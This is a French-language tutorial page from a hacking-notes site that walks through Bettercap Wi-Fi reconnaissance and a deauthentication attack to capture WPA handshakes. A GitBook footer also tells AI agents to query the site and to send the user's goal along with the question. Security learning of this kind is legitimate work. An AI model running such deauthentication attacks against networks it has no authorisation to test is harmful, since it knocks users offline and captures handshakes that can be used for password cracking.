> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/reconnaissance-and-capture/bettercap-attack-process.md). # Processus d’attaque Bettercap Flux de travail Bettercap de base pour la reconnaissance et les tests Wi-Fi. Bettercap est un binaire compilé. Le flux de travail suivant montre son processus d’attaque Wi‑Fi de base. {% embed url="" %} ### Démarrer Bettercap Démarrez Bettercap avec l’interface en mode moniteur : ```bash ./bettercap -iface wlan0mon ``` ### Démarrer la reconnaissance Une fois dans Bettercap, activez la reconnaissance Wi‑Fi : ```bash wifi.recon on ```

### Trier les clients Triez les clients détectés par ordre décroissant : ```bash set wifi.show.sort clients desc ```

### Configurer le ticker Configurez un ticker pour actualiser les informations à l’écran : ```bash set ticker.commands 'clear; wifi.show' ticker on ``` Cela affiche les informations détectées dans une vue continuellement actualisée.

### Filtrer par canal Filtrez la reconnaissance sur le canal d’intérêt : ```bash wifi.recon.channel 1 ```

### Lancer une attaque de désauthentification Pour lancer une attaque de désauthentification contre un point d’accès : ```bash wifi.deauth ``` Remplacez `` avec le BSSID du point d’accès cible. Le handshake est enregistré à : ``` /root/bettercap-wifi-handshakes.pcap ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/reconnaissance-and-capture/bettercap-attack-process.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.